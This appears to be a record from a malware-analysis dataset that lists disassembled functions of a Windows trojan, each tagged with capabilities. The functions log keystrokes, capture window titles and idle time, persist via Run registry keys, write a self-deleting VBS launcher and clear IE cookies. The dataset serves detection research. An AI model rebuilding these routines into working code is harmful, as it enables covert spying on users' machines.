joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a41b
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
sub esp, 0x148
push ebx
push ebp
push esi
push edi
push 0x100
lea eax, [esp + 0x5c]
mov esi, ecx
push 0
push eax
mov dword [esp + 0x1c], esi
call fcn.00436f10
add esp, 0xc
lea edi, [esp + 0x1a]
xor eax, eax
mov word [esp + 0x18], ax
push 7
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0x10
mov ebp, eax
call dword [sym.imp.USER32.dll_GetKeyState]
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push ebp
push 0
push 0x10
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x68]
push eax
push dword [esi + 0x58]
lea ebx, [esi + 0x54]
mov esi, dword [sym.imp.USER32.dll_ToUnicodeEx]
push dword [ebx]
call esi
cmp eax, 0xffffffff
je 0x40a511
cmp dword [0x476b28], 0
je 0x40a50b
xor eax, eax
lea edi, [esp + 0x3a]
push 7
mov word [esp + 0x3c], ax
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.0043f859
push 0x100
xor ebx, ebx
lea eax, [esp + 0x64]
push ebx
push eax
call fcn.00436f10
add esp, 0x14
lea eax, [esp + 0x18]
push ebp
push ebx
push 0x10
push eax
lea eax, [esp + 0x68]
push eax
push dword [0x476b2c]
push dword [0x476b28]
call esi
mov dword [0x476b28], ebx
lea eax, [esp + 0x38]
push eax
jmp 0x40a544
lea eax, [esp + 0x18]
jmp 0x40a508
push 5
pop ecx
mov esi, ebx
mov edi, 0x476b28
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x10]
push ebp
push 0
push 0x10
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x68]
push eax
push dword [esi + 0x58]
push dword [ebx]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
test eax, eax
js 0x40a521
push 0x466478
mov ecx, dword [esp + 0x160]
call fcn.0040417e
mov eax, dword [esp + 0x15c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x148
ret 4

Function at 0x40a6b0
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x4751b0]
or eax, dword [0x4751b4]
push ebx
push esi
push edi
mov esi, ecx
je 0x40a75d
xor ebx, ebx
mov byte [esi + 0x39], bl
push ebx
push 0x80
push 3
push ebx
push 7
push closesocket
mov ecx, 0x475168
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40a731
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp ebx, dword [0x4751b4]
jb 0x40a728
ja 0x40a70d
cmp eax, dword [0x4751b0]
jb 0x40a728
mov byte [esi + 0x39], 1
cmp byte [esi + 0x49], bl
je 0x40a71d
mov ecx, esi
call fcn.0040b117
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a734
mov byte [esi + 0x39], bl
cmp byte [esi + 0x39], 1
je 0x40a6cb
cmp byte [esi + 0x49], bl
jne 0x40a75d
cmp dword [0x47514c], 1
jne 0x40a75d
sub esp, 0x18
lea eax, [esi + 0x68]
mov ecx, esp
push eax
call fcn.00409097
mov ecx, esi
call fcn.0040a1b4
pop edi
pop esi
pop ebx
ret
Function at 0x40a761
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x460
push ebx
push ebp
mov ebx, ecx
push esi
push edi
lea ebp, [ebx + 4]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, ebx
call fcn.0040a6b0
mov edx, 0x466478
mov ecx, ebp
call fcn.004077f2
test al, al
je 0x40a968
mov ecx, 0x475180
call fcn.00406b63
test al, al
jne 0x40a7bd
push 0
mov ecx, 0x475180
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx + 0x68]
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
je 0x40a7e5
push 0x80
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x12
mov ecx, 0x4750f4
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
jne 0x40a829
push 1
mov ecx, edi
call fcn.00401f04
push eax
mov ecx, ebp
call fcn.0040247c
mov esi, eax
mov ecx, ebp
add esi, esi
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.0041c482
pop ecx
pop ecx
jmp 0x40a934
lea ecx, [esp + 0x10]
call fcn.004020df
mov ecx, 0x475348
call fcn.0040247c
push eax
mov ecx, 0x475348
call fcn.00401fab
push eax
lea ecx, [esp + 0x78]
call fcn.00406cf2
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40a8c0
lea ecx, [esp + 0x28]
call fcn.004020df
mov ecx, edi
call fcn.00401f04
lea edx, [esp + 0x28]
mov ecx, eax
call fcn.0041c516
test al, al
je 0x40a8b7
lea ecx, [esp + 0x28]
call fcn.0040247c
push eax
lea ecx, [esp + 0x2c]
call fcn.00401fab
push eax
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x7c]
call fcn.00406e13
push eax
lea ecx, [esp + 0x14]
call fcn.00401fe2
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea ecx, [esp + 0x28]
call fcn.00401fd8
mov ecx, ebp
call fcn.0040247c
add eax, eax
mov ecx, ebp
push eax
call fcn.00401f04
push eax
lea ecx, [esp + 0x48]
call fcn.004020b7
push eax
lea ecx, [esp + 0x14]
call fcn.00403376
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea ecx, [esp + 0x10]
call fcn.0040247c
push eax
lea ecx, [esp + 0x14]
call fcn.00401fab
push eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x7c]
call fcn.00406e13
mov ecx, edi
call fcn.00401f04
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0041c583
lea ecx, [esp + 0x58]
call fcn.00401fd8
lea ecx, [esp + 0x10]
call fcn.00401fd8
push 0x466478
mov ecx, ebp
call fcn.00409092
push 0x13
mov ecx, 0x4750f4
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
je 0x40a968
push 6
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp byte [ebx + 0x49], 0
jne 0x40a776
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ad11
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x49], 0
jne 0x40ad2f
cmp byte [edi + 0x4a], 0
je 0x40af20
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x476d00]
cmp eax, dword [ecx + 4]
jle 0x40ad79
push 0x476d00
call fcn.0043445a
cmp dword [0x476d00], 0xffffffff
pop ecx
jne 0x40ad79
mov ecx, 0x476d04
call fcn.00401f86
push 0x458060
call fcn.00434801
mov dword [esp], 0x476d00
call fcn.0043441b
pop ecx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
push 0
lea ecx, [esi + 1]
push ecx
lea ecx, [esp + 0x28]
call fcn.0040b93f
test esi, esi
je 0x40ae4e
lea ecx, [esp + 0x20]
call fcn.0040247c
push eax
lea ecx, [esp + 0x24]
call fcn.00401f04
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edx, 0x476d04
lea ecx, [esp + 0x20]
call fcn.0040ba07
test al, al
jne 0x40ae4e
lea eax, [esp + 0x20]
mov ecx, 0x476d04
push eax
call fcn.0040b927
lea ecx, [esp + 0x20]
call fcn.0040247c
dec eax
lea ecx, [esp + 0x20]
push eax
call fcn.0040907f
sub esp, 0x18
lea eax, [esp + 0x38]
cmp byte [0x47514b], 0
je 0x40ae1d
mov ecx, esp
push eax
call fcn.00409097
mov ecx, edi
call fcn.0040b19f
jmp 0x40ae4e
mov esi, esp
lea ecx, [esp + 0x50]
push 0x4666fc
push eax
mov edx, 0x466704
call fcn.0040b9b7
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403014
pop ecx
mov ecx, edi
call fcn.0040a671
lea ecx, [esp + 0x38]
call fcn.00401f09
mov ecx, edi
call fcn.0040b783
call fcn.0041bb77
mov esi, 0xea60
cmp eax, esi
jb 0x40af09
mov ebx, dword [esp + 0x10]
cmp byte [edi + 0x49], 0
jne 0x40ae7b
cmp byte [edi + 0x4a], 0
je 0x40af17
call fcn.0041bb77
cmp eax, esi
jb 0x40ae97
mov ebx, eax
push 0x3e8
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40ae6b
push 0xa
lea eax, [esp + 0x18]
xor edx, edx
push eax
mov eax, ebx
div esi
push eax
call fcn.00441ed1
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x68]
push str._minutes__r_n
push eax
call fcn.00402093
push eax
mov edx, str._r_n_User_has_been_idle_for
lea ecx, [esp + 0x58]
call fcn.004052fd
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.00406383
sub esp, 0x14
mov edx, eax
mov ecx, esp
call fcn.0041bcef
mov ecx, edi
call fcn.0040a671
lea ecx, [esp + 0x38]
call fcn.00401fd8
lea ecx, [esp + 0x50]
call fcn.00401fd8
lea ecx, [esp + 0x68]
call fcn.00401fd8
lea ecx, [esp + 0x20]
call fcn.00401f09
jmp 0x40ad1f
lea ecx, [esp + 0x20]
call fcn.00401f09
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40bf24
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004020df
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, closesocket
lea ecx, [ebp - 0x30]
xor ebx, ebx
call fcn.004135e1
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
mov edx, 0x4660b4
lea ecx, [ebp - 0x18]
call fcn.00405b05
test al, al
je 0x40bf91
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402093
call fcn.0040c213
mov bl, 1
jmp 0x40c034
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40bf76
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402093
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.0041bcef
mov ecx, eax
call fcn.00401f04
mov ecx, eax
call fcn.0041c322
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401fd8
test esi, esi
je 0x40c00a
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x40bf80
push ebx
push 0x466c00
mov ecx, 0x475a10
call fcn.00406b1c
test eax, eax
je 0x40c037
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402093
call fcn.0040c213
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40c19d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push ebx
push esi
xor esi, esi
mov byte [0x472b07], cl
push edi
mov dword [0x472b38], eax
test cl, cl
je 0x40c1fa
mov edi, 0x466c58
mov dword [ebp - 4], esi
mov ebx, 0x475300
push edi
mov ecx, ebx
call fcn.00401fab
mov edx, eax
call fcn.0041353a
pop ecx
test al, al
je 0x40c1fa
lea eax, [ebp - 4]
mov ecx, ebx
push eax
push edi
call fcn.00401fab
mov edx, eax
call fcn.00413584
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0x40c1fa
xor al, al
jmp 0x40c20c
push esi
push esi
push esi
push 0x40c047
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40cd48
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x24
cmp byte [0x472b49], 1
push ebx
mov bh, byte [0x472b3f]
mov bl, byte [0x472b3e]
push ebp
push esi
push edi
mov edi, 0x465e84
mov ebp, 0x4752e8
jne 0x40cdaa
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040b9b7
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403014
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, closesocket
call fcn.0041384f
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401f09
cmp bl, 1
jne 0x40cdeb
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040b9b7
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403014
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, closesocket
call fcn.0041384f
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401f09
cmp bh, 1
jne 0x40ce2c
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040b9b7
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403014
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, closesocket
call fcn.0041384f
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401f09
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x40d0a4
Capabilities:
Check mutex on windows

Disassembly:
mov ecx, 0x475330
call fcn.00401fab
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x472d58], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
mov eax, ecx
ret
Function at 0x40d83a
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.0041288b
mov esi, 0x475348
mov ecx, esi
call fcn.0040247c
push eax
mov ecx, esi
call fcn.00401fab
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x475300
call fcn.00401fab
mov edx, eax
call fcn.00413733
add esp, 0x14
xor edi, edi
test al, al
jne 0x40d89a
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.0041ba09
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0041bcef
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00403014
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea eax, [ebp - 0x78]
push eax
push 0x466618
push 0x466f98
call fcn.0043c11f
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.0040431d
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x18]
call fcn.00401f86
push 0x467140
push 0x467144
lea ecx, [ebp - 0xc0]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040325d
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0xa8]
call fcn.00401f09
lea ecx, [ebp - 0xc0]
call fcn.00401f09
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.0040908d
push edi
lea ecx, [ebp - 0x60]
call fcn.00401f04
push eax
lea ecx, [ebp - 0x18]
call fcn.0040247c
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.0041c482
pop ecx
pop ecx
test al, al
je 0x40da05
push edi
mov eax, 0x466478
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401f04
push eax
push 0x466118
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40da05
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401f09
lea ecx, [ebp - 0x60]
call fcn.00401f09
lea ecx, [ebp - 0x78]
call fcn.00401f09
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40f938
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x388
push ebp
push esi
push edi
mov edi, ecx
call fcn.004020df
call fcn.0041c048
push 0
push 2
mov byte [0x474ae6], al
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40fb46
lea eax, [esp + 0x160]
mov dword [esp + 0x160], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x40fb3f
mov ebp, 0x4674d0
lea eax, [esp + 0x184]
push eax
lea ecx, [esp + 0x14]
call fcn.0040417e
mov ecx, dword [esp + 0x168]
push 0x4674cc
call fcn.0041c076
movzx edx, al
lea ecx, [esp + 0x14c]
call fcn.0041bc1f
mov edx, dword [esp + 0x16c]
lea ecx, [esp + 0x134]
push eax
push ebp
call fcn.0041bc1f
mov edx, dword [esp + 0x174]
lea ecx, [esp + 0x124]
push eax
push ebp
call fcn.0041c26e
mov edx, eax
lea ecx, [esp + 0x114]
call fcn.0041bdaf
push eax
push ebp
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x104]
call fcn.0041bdaf
push eax
mov edx, edi
lea ecx, [esp + 0xf0]
call fcn.00406362
pop ecx
mov edx, eax
lea ecx, [esp + 0xd4]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [esp + 0xb8]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x9c]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [esp + 0x80]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x64]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00406383
pop ecx
push eax
mov ecx, edi
call fcn.00401fe2
lea ecx, [esp + 0x28]
call fcn.00401fd8
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea ecx, [esp + 0x58]
call fcn.00401fd8
lea ecx, [esp + 0x70]
call fcn.00401fd8
lea ecx, [esp + 0x88]
call fcn.00401fd8
lea ecx, [esp + 0xa0]
call fcn.00401fd8
lea ecx, [esp + 0xb8]
call fcn.00401fd8
lea ecx, [esp + 0xd0]
call fcn.00401fd8
lea ecx, [esp + 0xe8]
call fcn.00401fd8
lea ecx, [esp + 0x100]
call fcn.00401fd8
lea ecx, [esp + 0x118]
call fcn.00401f09
lea ecx, [esp + 0x130]
call fcn.00401fd8
lea ecx, [esp + 0x148]
call fcn.00401fd8
lea ecx, [esp + 0x10]
call fcn.00401f09
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40f99c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0x388
ret
Function at 0x41288b
Capabilities:
Terminate process

Disassembly:
push ebx
push 0
push dword [0x472d74]
mov byte [0x472d71], 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xffffffffffffffff
push dword [0x472d74]
test eax, eax
setne bl
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov al, bl
pop ebx
ret
Function at 0x41330d
Capabilities:
Get file size
Read file via mapping

Disassembly:
sub esp, 0x218
cmp dword [0x474b38], 0
mov eax, ecx
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
jne 0x41332e
push 0xfffffffffffffffc
pop eax
jmp 0x413434
call fcn.004134ad
test eax, eax
jne 0x41333f
or eax, 0xffffffff
jmp 0x413434
push esi
push eax
push 0
push 0x440
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x41335c
push 0xfffffffffffffffe
pop eax
jmp 0x413433
push ebp
push edi
mov edi, 0x400
push edi
mov dword [esp + 0x10], edi
call fcn.0043bda0
jmp 0x413391
push ebp
cmp eax, 0xc0000004
jne 0x41343b
call fcn.0043bd9b
mov eax, dword [esp + 0x10]
add eax, edi
push eax
mov dword [esp + 0x14], eax
call fcn.0043bda0
pop ecx
pop ecx
mov ebp, eax
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push ebp
push 0x33
push esi
call dword [0x474b34]
test eax, eax
js 0x41336f
xor edi, edi
push ebx
cmp dword [ebp], edi
jbe 0x413426
lea ebx, [ebp + 8]
push 2
push 0
push 0
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [ebx]
push esi
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x41341d
push 0x208
lea eax, [esp + 0x24]
push 0
push eax
call fcn.00436f10
add esp, 0xc
lea eax, [esp + 0x20]
push 0
push 0x104
push eax
push dword [esp + 0x20]
call dword [0x474b38]
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x1c]
call fcn.0043f9a4
pop ecx
pop ecx
test eax, eax
je 0x413446
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
add ebx, 0x1c
cmp edi, dword [ebp]
jb 0x4133b6
push ebp
call fcn.0043bd9b
pop ecx
push 0xfffffffffffffffd
pop eax
pop ebx
pop edi
pop ebp
pop esi
add esp, 0x218
ret
call fcn.0043bd9b
xor eax, eax
pop ecx
inc eax
jmp 0x413431
xor edi, edi
push edi
push edi
push edi
push 2
push edi
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push edi
push edi
push edi
mov ebx, eax
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push edi
push dword [esp + 0x18]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.0043bda0
mov ecx, dword [esp + 0x20]
push edi
push esi
push eax
mov dword [ecx], eax
call fcn.00436990
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [esp + 0x14]
call ebx
push ebp
call fcn.0043bd9b
pop ecx
mov eax, edi
jmp 0x413430

Function at 0x41353a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41357d
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
jmp 0x41357f
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x413a90
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xabb4
call fcn.00457730
push ebx
push esi
push edi
push 0x208
xor esi, esi
lea eax, [ebp - 0x4a0]
push esi
push eax
mov ebx, ecx
call fcn.00436f10
add esp, 0xc
mov dword [ebp - 0x14], 0x104
lea eax, [ebp - 0x50]
mov dword [ebp - 4], esi
mov dword [ebp - 8], 0x3fff
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x4a0]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [ebp - 4]
test eax, eax
je 0x413b6e
test eax, eax
je 0x413b6e
lea eax, [ebp - 0x50]
mov dword [ebp - 0x18], 0xff
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x298]
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x413b68
push 0x467140
lea ecx, [ebp - 0x34]
call fcn.0040417e
push eax
lea edx, [ebp - 0x298]
lea ecx, [ebp - 0x68]
call fcn.004042fc
pop ecx
push eax
mov ecx, 0x4754c0
call fcn.0040325d
lea ecx, [ebp - 0x68]
call fcn.00401f09
lea ecx, [ebp - 0x34]
call fcn.00401f09
inc esi
cmp esi, dword [ebp - 4]
jb 0x413b08
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x413cb0
xor esi, esi
test eax, eax
je 0x413cb0
xor eax, eax
mov byte [ebp - 0x5c], 0
lea edi, [ebp - 0x5b]
mov dword [ebp - 0xc], 0x2710
stosd dword es:[edi], eax
mov dword [ebp - 8], 0x3fff
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov word [ebp - 0xabb0], ax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2bb0]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xabb0]
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x413ca6
push 0xa
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0x1c]
call fcn.00441ed1
add esp, 0xc
lea ecx, [ebp - 0x80]
push 0x467140
call fcn.0040417e
push eax
lea edx, [ebp - 0xabb0]
lea ecx, [ebp - 0x34]
call fcn.004042fc
pop ecx
push eax
mov ecx, 0x4754d8
call fcn.0040325d
lea ecx, [ebp - 0x34]
call fcn.00401f09
lea ecx, [ebp - 0x80]
call fcn.00401f09
push 0x4660d0
lea ecx, [ebp - 0x34]
call fcn.00402093
push eax
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x80]
call fcn.004052fd
pop ecx
push eax
mov ecx, 0x4754f0
call fcn.00403376
lea ecx, [ebp - 0x80]
call fcn.00401fd8
lea ecx, [ebp - 0x34]
call fcn.00401fd8
push str._regsplt_
lea ecx, [ebp - 0x98]
call fcn.00402093
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x2bb0]
push eax
lea ecx, [ebp - 0x34]
call fcn.004020b7
mov edx, eax
lea ecx, [ebp - 0x80]
call fcn.00402ea1
pop ecx
push eax
mov ecx, 0x475588
call fcn.00403376
lea ecx, [ebp - 0x80]
call fcn.00401fd8
lea ecx, [ebp - 0x34]
call fcn.00401fd8
lea ecx, [ebp - 0x98]
call fcn.00401fd8
inc esi
cmp esi, dword [ebp - 0x10]
jb 0x413b83
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret